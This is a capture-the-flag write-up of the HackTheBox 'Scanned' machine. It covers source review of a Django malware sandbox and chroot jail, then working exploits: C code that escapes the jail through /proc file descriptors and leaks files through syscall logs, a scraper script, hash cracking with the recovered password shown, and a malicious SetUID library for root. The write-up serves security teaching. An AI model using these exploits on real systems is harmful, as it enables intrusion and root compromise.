The entire Scanned challenge is focused on a single web application, and yet it’s one of the hardest boxes HackTheBox has published. The box starts with a website that is kind of like VirusTotal, where users can upload executables (Linux only) and they run, and get back a list of system calls and return values. The source for the site and the sandbox is also downloadable. In the source, I’ll see how the sandbox sets up chroot jails to isolate the malware. I’ll take advantage of two mistakes in the coding to write a binary that escapes the jail and reads the database for the application, including the Django admin password. That password also works for SSH. With a foothold on the box, I’ll abuse the sandbox again, this time writing a program that sleeps, and then calls a SetUID binary from outside the jail. During the sleep, I’ll load a malicious library into the jail that hijacks execution, and because the binary is SetUID, I get execution as root.

Box Info

Name Scanned Scanned
Play on HackTheBox
Release Date 29 Jan 2022
Retire Date 10 Sep 2022
OS Linux Linux
Base Points Insane [50]
Rated Difficulty Rated difficulty for Scanned
Radar Graph Radar chart for Scanned
First Blood User 02:35:47jazzpizazz
First Blood Root 18:36:12pottm
Creator clubby789



nmap found two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2022-01-13 13:56 EST
Nmap scan report for
Host is up (0.096s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds
oxdf@hacky$ nmap -p 22,80 -sCV -oN scans/nmap-tcpscripts.nmap
Starting Nmap 7.80 ( ) at 2022-01-13 13:58 EST
Nmap scan report for
Host is up (0.091s latency).

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Malware Scanner
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.03 seconds

Based on the OpenSSH version, the host is likely running Debian 11 bullseye.

Website - TCP 80


The site is MalScanner, a new free and open source software (FOSS) malware analysis sandbox:


There are two links on the index page. The last bullet has a link to the source at /static/source.tar.gz. The first link is a link to /scanner/upload which leads to an upload form:


I tried uploading a few sample binaries. Any Windows binary I uploaded (such as nc64.exe or compiled potato exploits) returned an error:

There was an error logging this application

The front page said it was working from Debian 11 (which matches my analysis from nmap), so perhaps it doesn’t support Windows.

When I uploaded /bin/id from my VM, it returned log of all the system calls:


Clicking any of the buttons expands the logs of syscalls with their args and the results. For example, the “Medium Priority” ones:

There is one access call and then a bunch of stat calls.

Tech Stack

nmap shows that the box is Debian 10, using NGINX to host the website. The response headers don’t show much else, but looking at the source will show the site is created using the Python Django framework.

I’ll skip the directory brute force given I have the source.

Source Code Analysis

The source code Tar archive has two folders, malscanner and sandbox.

oxdf@hacky$ tar xf source.tar.gz 
oxdf@hacky$ ls
malscanner  sandbox  source.tar.gz

malscanner is a Python Django project, and sandbox is a custom C application.


Django Background

This video gives a nice overview of the structure of a Django project. A project (like malscanner) can have one or more applications (like malscanner/sandbox), as well as project-wide settings directory (that has the same folder name as the project, so malscanner/malscanner).

When a web request hits the server, it takes the following steps (copied from the video above):


Project Settings

From the project folder, defines the structure of the project. The SECRET_KEY variable is set to “REDACTED”, so that’s no use to me. Additionally, the project isn’t in DEBUG mode.

There are some installed default apps (including the admin application at /admin).

Even if the custom applications don’t use a database, things like the default admin application will, so one must be configured. It is set to a SQLite DB:

    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': 'malscanner.db',

That file is in the source, but it is 0 bytes.

It does specify the hash algorithm to be MD5:


Two additional custom variables are set here and used in the applications. FILE_PATH and SBX_PATH are set in the project level as:

FILE_PATH = "/var/www/malscanner/uploads"
SBX_PATH = "/var/www/malscanner/sandbox"

How Files Are Run

For this application, the in the project folder load the urls from scanner, viewer, as well as the build in Django admin application.

from django.contrib import admin
from django.urls import path, include, re_path

from . import views

urlpatterns = [
    path('scanner/', include("scanner.urls")),
    path('viewer/', include("viewer.urls")),
    re_path(r'^$', views.index, name='index'),

The root returns the index template in /templates. For each application, I can look at it’s file. The scanner application defines an index and upload/:

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index, name='index'),
    path('upload/', views.upload_file, name='upload')

This links /scanner to the index function and /scanner/upload to the upload_file function in malscanner/scanner/

To figure out how the application handles an uploaded file, I’ll look at malscanner/scanner/ The index (/scanner) just returns a message:

def index(request):
    return HttpResponse("Hello, world. You're at the polls index.")

If /scanner/upload is linked to upload_file:

def upload_file(request):
    if request.method == 'POST':
        form = UploadFileForm(request.POST, request.FILES)
        if form.is_valid():
            md5 = handle_file(request.FILES['file'])
            return HttpResponseRedirect(f'/viewer/{md5}')
            return HttpResponse("Invalid form")
        return render(request, 'upload.html', {'form': UploadFileForm()})

def handle_file(file):
    md5 = calculate_file_md5(file)
    path = f"{settings.FILE_PATH}/{md5}"
    with open(path, 'wb+') as f:
        for chunk in file.chunks():
    os.system(f"cd {settings.SBX_PATH}; ./sandbox {path} {md5}")
    return md5

If this is a GET request, it shows the form to upload. Otherwise, it passed the file to handle_file, and then redirects to /viewer/{md5} (where the hash is returned from handle_file). handle_file calculates the hash, and then writes the file to a file named by the MD5. Then it changes into the SBX_PATH, and calls sandbox passing in the path and hash.

How Logs Are Returned

The viewer application the viewer defines /viewer/<str:md5>/ url to link to the view_file function inmalscanner/viewer/ This function gets the request as well as the md5 variable:

def view_file(request, md5: str):
    path = f"{settings.SBX_PATH}/jails/{md5}"
    if not os.path.exists(path):
        raise Http404("A sample with this hash has not been uploaded.")
    logfile = f"{path}/log"
    if not os.path.exists(logfile):
        return HttpResponse("There was an error logging this application")
    syscalls = [call.render() for call in parse_log(logfile)]
    ignore = list(filter(lambda call: call[0] == SyscallClass.Ignore, syscalls))
    low = list(filter(lambda call: call[0] == SyscallClass.Low, syscalls))
    med = list(filter(lambda call: call[0] == SyscallClass.Medium, syscalls))
    high = list(filter(lambda call: call[0] == SyscallClass.High, syscalls))
    render_vars = {"md5": md5, "ignore": ignore, "low": low, "med": med, "high": high}
    return render(request, 'view.html', render_vars)

It looks for the log in the jail directory from the run in a file named log. It feeds that log into some parsing functions and then to the view template for the page.

parse_log opens a log file (from the sandbox run) and processes 64 byte chunks of data, unpacking them into an array called nums:

def parse_log(path):
    syscalls = []
    with open(path, 'rb') as f:
        chunk = * 8)
        nums = struct.unpack("q" * 8, chunk)
        while len(chunk) == 8*8:
            nums = struct.unpack("q" * 8, chunk)
            call = LoggedSyscall(nums)
            chunk = * 8)
    return syscalls

For each, it creates a LoggedSyscall object and appends that to an array. has an array of predefined calls and their priority, name, syscall number, and argument count:



The source references a “jail”, and the page references using Linux features like chroot. Linux has a feature known as chroot jails, which will, for a given process, map / to some other folder on the main system. This picture from Security Queens shows it nicely:


The process in the jail thinks that the /home/chroot folder is /, and can’t read outside of that.

This is typically created and managed using the chroot command.



The sandbox folder has a Makefile, three C source files, and an empty jails directory. Makefile are instructions for how to compile an applition:

.PHONY: all clean

all: sandbox

        mkdir jails; chmod 0771 jails

sandbox: jails sandbox.c copy.c tracing.c
        gcc sandbox.c copy.c tracing.c -static -o sandbox
        sudo setcap 'cap_setpcap,cap_sys_admin,cap_setuid,cap_setgid,cap_sys_chroot=+eip' ./sandbox

        for i in $(shell find jails -maxdepth 2 -name proc); do sudo umount $$i; done
        rm -rf sandbox jails/*

This Makefile has four targets: all, jails, sandbox, and clean. Any other targets or files listed after [target]: are the targets or files required for the target. So running sandbox will require a jails directory and will run jails if it’s not there.

So running make in this directory (which is the same as running make [first target], so make all) will build sandbox, which requires jails. When I run into errors like “fatal error: sys/capability.h: No such file or directory”, I’ll Google that error and find out what library I need to install (in that case, apt install libcap-dev). Once all that’s working, it generates sandbox with the required capabilities (assuming my user can run sudo setcap):

oxdf@hacky$ make
gcc sandbox.c copy.c tracing.c -static -o sandbox
sudo setcap 'cap_setpcap,cap_sys_admin,cap_setuid,cap_setgid,cap_sys_chroot=+eip' ./sandbox
oxdf@hacky$ ls
copy.c  jails  Makefile  sandbox  sandbox.c  tracing.c
oxdf@hacky$ getcap sandbox
sandbox = cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin+eip


The main function is in sandbox.c, and it handles parsing the input arguments, and making sure that the binary is running with the right capabilities. Then it calls make_jail:

int main(int argc, char** argv) {
    if (argc < 2) {
        printf("Usage: %s <program> [uuid]\n", argv[0]);
    if (strlen(argv[1]) > FILENAME_MAX - 50) {
        DIE("Program name too long");
    if ((argv[1][0]) != '/') {
        DIE("Program path must be absolute");
    int result = mkdir("jails", 0771);
    if (result == -1 && errno != EEXIST) {
        DIE( "Could not create jail directory");
    char uuid[33] = {0};
    if (argc < 3) {
    } else {
        memcpy(uuid, argv[2], 32);
    uuid[32] = 0;
    make_jail(uuid, argv[1]);

make_jail creates a folder in the jails folder to run from, moves the necessary libraries into it, changes into that directory and calls chroot("."), setting that directory as the root for this process, creating the jail:

// Create our jail folder and move into it
void make_jail(char* name, char* program) {
    jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
    if (faccessat(jailsfd, name, F_OK, 0) == 0) {
        DIE("Jail name exists");
    int result = mkdirat(jailsfd, name, 0771);
    if (result == -1 && errno != EEXIST) {
        DIE( "Could not create the jail");

    if (access(program, F_OK) != 0) {
        DIE("Program does not exist");
    copy(program, "./userprog");
    if (chroot(".")) {DIE("Couldn't chroot #1");}
    if (setgid(1001)) {DIE("SGID");}
    if (setegid(1001)) {DIE("SEGID");}
    if (setuid(1001)) {DIE("SUID");};
    if (seteuid(1001)) {DIE("SEUID");};

After making sure that the group and user ids are 1001, it calls do_trace(), then sleeps 3 seconds, and returns.

do_namespaces() is worth noting, as it will create new namespaces for the PIDs and network:

// Create PID and network namespace
void do_namespaces() {
    if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
    // Create pid-1
    if (fork() != 0) {sleep(6); exit(-1);}
    mkdir("./proc", 0555);
    mount("/proc", "./proc", "proc", 0, NULL);

Calling unshare (man) on CLONE_NEWNET resets the network namespace, completely separating it from the networking stack used by the host (and preventing network activity back to my host from in the jail). The unshare on CLONE_NEWPID will reset the PID counter, so the next process will be PID 1.

Then it calls fork. The parent process (PID unknown) will get the child PID from fork (which will be non-zero), so it sleeps 6 seconds and exits.

The child process will get 0 returned from fork, so it continues along. But because the CLONE_NEWPID namespace was reset with unshare, this effectively means that resulting child (from now on considered the main process) will always be PID 1 in the jail, and that the additional forks upcoming will always be PID 2 and 3.

do_trace is defined in tracer.c. It sets permissions, including dropping all capabilities, and then forks twice. The first fork calls do_child, the next one splits into do_killer and do_log.

void do_trace() {
    // We started with capabilities - we must reset the dumpable flag
    // so that the child can be traced
    prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
    // Remove dangerous capabilities before the child starts
    struct user_cap_header_struct header;
    struct user_cap_data_struct caps;
    char pad[32];
    header.version = _LINUX_CAPABILITY_VERSION_3; = 0;
    caps.effective = caps.inheritable = caps.permitted = 0;
    syscall(SYS_capget, &header, &caps);
    caps.effective = 0;
    caps.permitted = 0;
    syscall(SYS_capset, &header, &caps);
    int child = fork();
    if (child == -1) {
        DIE("Couldn't fork");
    if (child == 0) {
    int killer = fork();
    if (killer == -1) {
        DIE("Couldn't fork (2)");
    if (killer == 0) {
    } else {

At this point, there are three processes running in the jail, with PIDs 1, 2, and 3:

PID Function
1 do_log(child)
2 do_child()
3 do_killer(child)

do_child first closes the file descriptor for jailsfd that was opened earlier, with a comment that it’s preventing escape. Then it sets the process as traceable (PTRACE_TRACEME) and then execve the passed in program:

void do_child() {
    // Prevent child process from escaping chroot
    ptrace(PTRACE_TRACEME, 0, NULL, NULL);
    char* args[] = {NULL};
    execve("/userprog", args, NULL);
    DIE("Couldn't execute user program");

do_killer sleeps for five seconds, then kills the child process, and exits:

void do_killer(int pid) {
    if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
    puts("Killed subprocess");

do_log traces the child process, entering a while true loop, which exits when it gets a signal that the child process exited. Otherwise, it loops using PTRACE_SYSCALL:

void do_log(int pid) {
    int status;
    waitpid(pid, &status, 0);
    struct user_regs_struct regs;
    struct user_regs_struct regs2;
    while (1) {
        // Enter syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, &status, 0);
        if (WIFEXITED(status) || WIFSIGNALED(status)) {
        ptrace(PTRACE_GETREGS, pid, 0, &regs);
        // Continue syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, &status, 0);
        ptrace(PTRACE_GETREGS, pid, 0, &regs2);
        log_syscall(regs, regs2.rax);

The man page for ptrace says about PTRACE_SYSCALL:

              for example, the idea is to inspect the arguments to the
              system call at the first stop, then do another
              PTRACE_SYSCALL and inspect the return value of the system
              call at the second stop.

So that’s why it’s call twice in the loop, and the first time it gets all the registers, and then the second time just RAX (the return value).


The log_syscall function creates a registers object, which holds eight unsigned long values (which on 64-bit Linux is 64-bits or 8 bytes each, matching the register size):

typedef struct __attribute__((__packed__)) {
    unsigned long rax;
    unsigned long rdi;
    unsigned long rsi;
    unsigned long rdx;
    unsigned long r10;
    unsigned long r8;
    unsigned long r9;
    unsigned long ret;
} registers;

void log_syscall(struct user_regs_struct regs, unsigned long ret) {
    registers result;
    result.rax = regs.orig_rax;
    result.rdi = regs.rdi;
    result.rsi = regs.rsi;
    result.rdx = regs.rdx;
    result.r10 = regs.r10;
    result.r8 = regs.r8;
    result.r9 = regs.r9;
    result.ret = ret;
    int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
    if (fd == -1) {
    write(fd, &result, sizeof(registers));

orig_rax is the Syscall being made. It writes this binary struct to /log, which fits with how the log files are read from the Django app above.


There’s two issues with the code above. First, at the top of do_trace, there’s a call to prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0). By default, for a privileged process (which this is due to the capabilities), it will not be dumpable, and thus not able to be traced. This call is necessary for the functioning of the application. However, the code does this before the forks, and thus all three processes are traceable, not just the child.

The second issue kind of the opposite. The jailsfd is closed in do_child, but not in the other two forks. This is the file descriptor for the directory containing all the jails, including the one the process is running from, and thus is outside of the jail. If I can reference this directory / file descriptor, I’ll have access to the entire filesystem.

Sandbox Exploit

File Read Strategy

Intended Exploit

The two vulnerabilities above provide the steps to get arbitrary file read on the Scanner system outside the jail. The intended path is to make a binary that will first binary attach to the parent process (which will always be PID 1 within the new namespace), write shellcode into it, and set RIP to point to that code. Having hijacked this process, now I’ll have access to the file descriptor outside the jail, and thus can access the entire file system. That’s because chroot only impacts absolute paths. If I can get a handle to something outside the jail, I can work relative to that to access the full filesystem. It can read a file, and write it back into the log file in the jail, so that webpage will read it and return it to me.

Because all the capabilities on the binary are dropped in the do_trace call after the jails are set up and before forking any of the processes, I will only be able to read files as the user that hosts the web site:

    struct user_cap_header_struct header;
    struct user_cap_data_struct caps;
    char pad[32];
    header.version = _LINUX_CAPABILITY_VERSION_3; = 0;
    caps.effective = caps.inheritable = caps.permitted = 0;
    syscall(SYS_capget, &header, &caps);
    caps.effective = 0;
    caps.permitted = 0;
    syscall(SYS_capset, &header, &caps);

Still, that’s useful.


Coding up a binary to attach to the main process and inject shellcode is complicated, and there’s a shortcut way to get access to the open file descriptor in processes 1 and 3 from 2. In the do_namespaces call, it also created a /proc folder in the root of the jail, and then mounted that as /proc (in the jail). This means that each of the three processes will have folders in that /proc. And because each is owned by the same user and this is Debian, each can read from each others. This means that my running binary can access the path outside the jail at /proc/1/fd/3, and better yet, can just step up from that by adding relative paths like /proc/1/fd/3/../../../../../../etc/passwd.

Why does it matter that the OS is Debian? When the kernel is going to trace another process or access another processes /proc/, it looks at /proc/sys/kernel/yama/ptrace_scope (detailed definition here). In most distros, this is set to 1 by default, which means that you can only trace or access descendant processes. So PID 1 can trace 2 or 3, but neither 2 nor 3 can access any of the others. But Debian has decided (reasons detailed here) to default to 0, which means that a process can attach (and/or access /proc) to any other process running under the same UID, as long as it is dumpable.

Exfil Strategy

The only output I’ll get from the uploaded binary is a series of syscalls, their arguments, and return values. To keep it simple, I’ll have my binary write the data to 64 byte chunks, setting the syscall to something I can pick out and wouldn’t expect otherwise (0xdfdf), and the return value to the next eight bytes of exfil. Then I can scrape down the syscalls from the page and use the return code data to rebuild that file.


Finding the exploit is very complicated and difficult. Actually writing it is, by comparison, not too bad.

Write Into Log

To start, I’ll prove that I can write to the /log file something that I can collect in the output.

#include <stdio.h>

int main() {
    FILE *log = fopen("/log", "a");
    char buf[64] = {0};
    ((unsigned long*)buf)[0] = 0xdfdf;


This simply creates a 64 byte buffer, sets the first element to 0xdfdf (57311 in decimal), writes that to the log, and exits. If this works, I’d expect to see a Syscall 57311 in the logs with return 0.

I’ll compile the binary with gcc -o poc read_file.c, and upload poc. In the results, in the “Ignored Syscalls” section, I’ll find it:


Read File

Now I’ll try to read a file outside the jail and put the first eight bytes into that same log:

#include <stdio.h>

int main() {
    FILE *file_to_read = fopen("/proc/1/fd/3/../../../../../../../etc/passwd", "r");
    FILE *log = fopen("/log", "a");
    char buf[64] = {0};
    ((unsigned long*)buf)[0] = 0xdfdf;
    fread(&buf[56], 1, 8, file_to_read);


The fread will get 8 bytes from passwd and store it 56 bytes into the 64 byte buffer, which is where the return code goes.

When I compile and upload this one, the entry for 0xdfdf has a non-zero response:


That decodes to root:x:0 (once the byte order is fixed):

>>> bytes.fromhex('303a783a746f6f72').decode()
>>> bytes.fromhex('303a783a746f6f72').decode()[::-1]

That’s success.

Read Entire File

Next I want to get more than eight bytes. I’ll loop over the file, reading 8 bytes into the return address, and and writing another log entry:

#include <stdio.h>

int main() {

    size_t bytesRead = 0;

    FILE *file_to_read = fopen("/proc/1/fd/3/../../../../../../../etc/passwd", "r");
    FILE *log = fopen("/log", "a");
    char buf[64] = {0};
    ((unsigned long*)buf)[0] = 0xdfdf;

    while ((bytesRead = fread(&buf[56], 1, 8, file_to_read)) > 0) {


This returns 182 syscalls!


Script File Download

I’ll write a Python script to grab all the syscalls and rebuild the file from that. This video shows the development of the exploit:

The final script is:

#!/usr/bin/env python3

import re
import requests
import struct
import sys

if len(sys.argv) < 3:
    print(f"{sys.argv[0]} [url] [file]")

resp = requests.get(sys.argv[1])
if resp.status_code != 200:
    print("Failed to fetch page")

words = re.findall(r"sys_57311\(\) = 0x([a-f0-9]+)", resp.text)

res_file = b''.join([struct.pack("Q", int(w, 16)) for w in words])
with open(sys.argv[2], "wb") as f:

Shell as clarence


I’ll modify the exploit to go after the malscanner.db file that I noted in the sourcecode. The version in the source download was empty, but there could be more in there on production.

    FILE *file_to_read = fopen("/proc/1/fd/3/../../../../../var/www/malscanner/malscanner.db", "r");

When I compile and upload, there are a lot more Ignored Syscalls:


It works:

oxdf@hacky$ python3 malscanner.db
oxdf@hacky$ file malscanner.db 
malscanner.db: SQLite 3.x database, last written using SQLite version 3034001

Get Password

Read malscanner.db

I’ll open the file in sqlite3, but it seems it’s corrupt:

oxdf@hacky$ sqlite3 malscanner.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
Error: database disk image is malformed

Running strings on the binary, this line jumps out:

md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf2021-09-14 18:39:55.237074clarence2021-09-14 18:36:46.227819

It seems like it has a hash, a date, a username, and another date. If that’s right, then this is a hash:


Crack Password

The hash is of the format described here, {ident}${salt}${hash}. The hash is calculated by combining the salt and then the password.

To crack a salted MD5 hash in hashcat, I’ll use mode 20 from the example hashes page, md5($salt.$pass). It needs the hash in the format {hash}:{salt}, so mine becomes:


It cracks almost instantly:

$ hashcat -m 20 hash /usr/share/wordlists/rockyou.txt 

Django Admin

This hash does work to log into the Django admin interface as clarence:


I could look around here more, but I don’t need to.


I’ll note that clarence is a user on the machine from the /etc/passwd file. This password also works over SSH to get a connection:

oxdf@hacky$ sshpass -p 'onedayyoufeellikecrying' ssh clarence@

And user.txt:

clarence@scanner:~$ cat user.txt

Shell as root


There’s very little on the box of interest that I haven’t already looked at.

Clarence’s home directory is very empty:

clarence@scanned:~$ ls -la
total 28
drwxr-xr-x 3 clarence clarence 4096 Sep 14  2021 .
drwxr-xr-x 3 root     root     4096 Sep 14  2021 ..
lrwxrwxrwx 1 clarence clarence    9 Sep 14  2021 .bash_history -> /dev/null
-rw-r--r-- 1 clarence clarence  220 Sep 14  2021 .bash_logout
-rw-r--r-- 1 clarence clarence 3526 Sep 14  2021 .bashrc
drwxr-xr-x 3 clarence clarence 4096 Sep 14  2021 .local
-rw-r--r-- 1 clarence clarence  807 Sep 14  2021 .profile
-r-------- 1 clarence clarence   33 Jul 20 14:12 user.txt

There are no other directories in /home.

Playing With malscanner


There’s nothing really interesting in the process list other than stuff supporting the malscanner web application. The chroot called from sandbox requires elevated permissions, which it achieves via Linux capabilities (consistent with the Makefile from the source):

clarence@scanned:/var/www/malscanner/sandbox$ ls -l
total 816
drwxrwxrwx 2 root root   4096 Sep  7 20:35 jails
-rwxr-xr-x 1 root root 827952 Sep 14  2021 sandbox
clarence@scanned:/var/www/malscanner/sandbox$ /usr/sbin/getcap sandbox 
sandbox cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin=eip

It isn’t running as SetUID, but rather is given capabilities (consistent with the Makefile from the source).

Running Manually

It’s worth noting that every 5 minutes a cleanup process clears out all the jails, so I may need to run a few times to understand what’s going on, and the jail UUID may change as I work.

If I run sandbox manually, I can look at what gets created:

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id 
<program name unknown>: error while loading shared libraries: cannot open shared object file: No such file or directory

The running errors out, but the jail is left behind:

clarence@scanned:/var/www/malscanner/sandbox$ ls jails/e31111f2000db36df3ad97a23e9f89a4/
bin  lib  lib64  log  proc  userprog  usr

The log file has entries to report back:

clarence@scanned:/var/www/malscanner/sandbox$ ls -l jails/e31111f2000db36df3ad97a23e9f89a4/log
-rwxrwxrwx 1 sandbox sandbox 4416 Sep  8 16:25 jails/e31111f2000db36df3ad97a23e9f89a4/log
clarence@scanned:/var/www/malscanner/sandbox$ xxd jails/e31111f2000db36df3ad97a23e9f89a4/log
00000000: 0c00 0000 0000 0000 0000 0000 0000 0000  ................
00000010: d04a ce71 8a55 0000 486e 89e3 ff7f 0000  .J.q.U..Hn......
00000020: 0010 0000 0000 0000 0100 0000 0000 0000  ................
00000030: 0100 0000 0000 0000 0040 6c72 8a55 0000  .........@lr.U..
00000040: 1500 0000 0000 0000 b0c9 c630 317f 0000  ...........01...
00000050: 0400 0000 0000 0000 c871 c430 317f 0000  .........q.01...
00000060: 0800 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 feff ffff ffff ffff  ................
00000080: 0101 0000 0000 0000 9cff ffff 0000 0000  ................
00000090: 679b c630 317f 0000 0000 0800 0000 0000  g..01...........

The run errored because it couldn’t find a needed library. That’s because the source shows that while it is set up to do more, only is copied into the jail, along with the loaded,

void copy_libs() {
    char* libs[] = {"", NULL};
    char path[FILENAME_MAX] = {0};
    char outpath[FILENAME_MAX] = {0};
    system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
    for (int i = 0; libs[i] != NULL; i++) {
        sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
        // sprintf(path, "/lib/%s", libs[i]);
        sprintf(outpath, "./usr/lib/%s", libs[i]);
        copy(path, outpath);
    copy("/lib64/", "./usr/lib64/");
    system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");

It’s also worth noting that if I use a SetUID binary (like su), when it copies the binary into the jail, it loses the SetUID.

Fixing Library Error

The error for the missing library sent me down a useful rabbit hole - Can I copy the library into the jail in time for id to use it? I’ll use the optional argument for sandbox to name my jail (a), so I can predict the folder I need to copy into.

At first I’ll try something like this:

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id a & cp /lib/x86_64-linux-gnu/ jails/a/usr/lib/; echo "copied lib"
[1] 123261
cp: cannot create regular file 'jails/a/usr/lib/': No such file or directory
copied lib
clarence@scanned:/var/www/malscanner/sandbox$ <program name unknown>: error while loading shared libraries: cannot open shared object file: No such file or directory

It’s going to start sandbox in the background and then copy the library in. The error shows that the copy fails because the jail library doesn’t exist yet. I’ll add a loop that waits for the jail directory to exist and then does the copy. That code with whitespace looks like:

./sandbox /usr/bin/id a & 
until [ -d jails/a ]; do 
	sleep 0.01; 
cp /lib/x86_64-linux-gnu/ jails/a/usr/lib/; 
echo "copied lib"

One time I’ll get it partially copied before it’s read:

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id a & until [ -d jails/a ]; do sleep 0.01; done; cp /lib/x86_64-linux-gnu/ jails/a/usr/lib/; echo "copied lib"
[2] 123227
[1]   Exit 255                ./sandbox /usr/bin/id a
<program name unknown>: error while loading shared libraries: /usr/lib/ file too short
copied lib

The “file too short” error suggests it wasn’t done being copied. After a few tries, it will work:

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id a & until [ -d jails/a ]; do sleep 0.01; done; cp /lib/x86_64-linux-gnu/ jails/a/usr/lib/; echo "copied lib"
[1] 123244
copied lib
<program name unknown>: error while loading shared libraries: cannot open shared object file: No such file or directory

id still failed with an error for another missing library, but it does show that if I can copy a library into the jail, it will be used by the userprog running in that jail.


I’m going to abuse the sandbox application again. All these capabilities are all dropped before my code gets run, and even before the fork calls, so all three processes are running without these capabilities. However, if I use my binary to run something that is set to SetUID, then that process will be running as root. There are no SetUID binaries in the jail, but I already showed I can access files outside the jail using the file descriptor in PIDs 1 or 3.

I’ve also shown that I can copy libraries into the jail and have those used.

Putting this all together, I’ll write two binaries. The first is a malicious executable that will:

  • Sleep for a second to allow me time to load libraries into the jail.
  • Exploit the file descriptor to call a SetUID binary using popen.

The second is a malicious library that is loaded by the SetUID binary called by the executable. If I can get this library into the jail while the loader sleeps, then when the SetUID binary runs, it will run my malicious library, giving execution as root.

Binary to Launch su

Write and Compile Binary

I’ll write a binary that will sleep and then launch su using the same trick I used to get a foothold:

#include <stdio.h>
#include <unistd.h>

int main() {


    size_t bytesRead = 0;

    FILE *run = popen("/proc/1/fd/3/../../../../../../../usr/bin/su", "r");
    char buf[1000] = {0};

    while ((bytesRead = fread(buf, sizeof(buf), 1, run)) > 0) {
        printf("%s", buf);


Very much like the original exploit, except this time instead of reading a file, I’ll use popen to run a process, and I’ll use the /proc trick to get su from outside the jail. This time I don’t have to worry about seeing the results through the log file, so I’ll just print the results to the screen.

I’ll compile this and upload it to Scanned:

oxdf@hacky$ gcc runsu.c -o runsu
oxdf@hacky$ sshpass -p 'onedayyoufeellikecrying' scp runsu clarence@

Run It

If I run this via sandbox, it reports that it can’t find

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a 
/proc/1/fd/3/../../../../../../../usr/bin/su: error while loading shared libraries: cannot open shared object file: No such file or directory
Kill err: (3)

This is the first of several imports that are required. These imports are not required by my binary:

clarence@scanned:/var/www/malscanner/sandbox$ ldd /dev/shm/runsu (0x00007ffdaa7fc000) => /lib/x86_64-linux-gnu/ (0x00007f5e6b3b6000)
        /lib64/ (0x00007f5e6b587000) is a virtual file that’s not on the disk, but actually part of the kernel. and were the two files copied into the jail.

Looking at su, it requires more (the first being which is where it’s failing):

clarence@scanned:/var/www/malscanner/sandbox$ ldd /usr/bin/su (0x00007ffff6cb3000) => /lib/x86_64-linux-gnu/ (0x00007f83c279e000) => /lib/x86_64-linux-gnu/ (0x00007f83c2799000) => /lib/x86_64-linux-gnu/ (0x00007f83c2794000) => /lib/x86_64-linux-gnu/ (0x00007f83c25cf000) => /lib/x86_64-linux-gnu/ (0x00007f83c259e000) => /lib/x86_64-linux-gnu/ (0x00007f83c2598000)
        /lib64/ (0x00007f83c27ca000) => /lib/x86_64-linux-gnu/ (0x00007f83c258e000) => /lib/x86_64-linux-gnu/ (0x00007f83c256c000)

Run with Fixed Libs

I’ll use a similar loop to last time, except this time I can sleep longer because I have the 3 second sleep at the start of runsu. I’ll copy all the libs into the jail to be lazy/safe:

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a & until [ -d jails/a ]; do sleep 1; done; cp -r /lib/x86_64-linux-gnu/* jails/a/usr/lib/; echo "copied libs"
[1] 124255
copied libs
su: user root does not exist or the user entry does not contain all the required fields
Kill err: (3)

This time it runs! It errors out in the su call, but that looks like su being called.

Malicious Library File

Write and Compile Library

My library will be very simple. It only has a constructor that is called when the library loads, and that init function will go outside the jail and modify /tmp/0xdf to be owned by root and SetUID (4777):

#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

static __attribute__ ((constructor)) void init(void) {

    char fn[120] = "/proc/1/fd/3/../../../../../../../../tmp/0xdf";
    char mode[] = "4777";
    int mode_int = strtol(mode, 0, 8);
    chown(fn, 0, 0);
    chmod(fn, mode_int);

I’ll compile this as a shared object (library) file and upload it to Scanned:

oxdf@hacky$ gcc -shared -fPIC -o setuidlib.c 
oxdf@hacky$ gcc -shared -fPIC -o setuidlib.c 


I’ll run the same loop as before, but this time, after copying all the libraries into the jail, I’ll copy my library on top of with this command:

./sandbox /dev/shm/runsu a &
until [ -d jails/a ]; do 
  sleep 1; 
cp -r /lib/x86_64-linux-gnu/* jails/a/usr/lib/
cp /dev/shm/ jails/a/usr/lib/
echo "copied libs"

When I run that, it errors out:

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a & until [ -d jails/a ]; do sleep 1; done; cp -r /lib/x86_64-linux-gnu/* jails/a/usr/lib/; cp /dev/shm/ jails/a/usr/lib/; echo "copied libs"
[1] 124277
copied libs
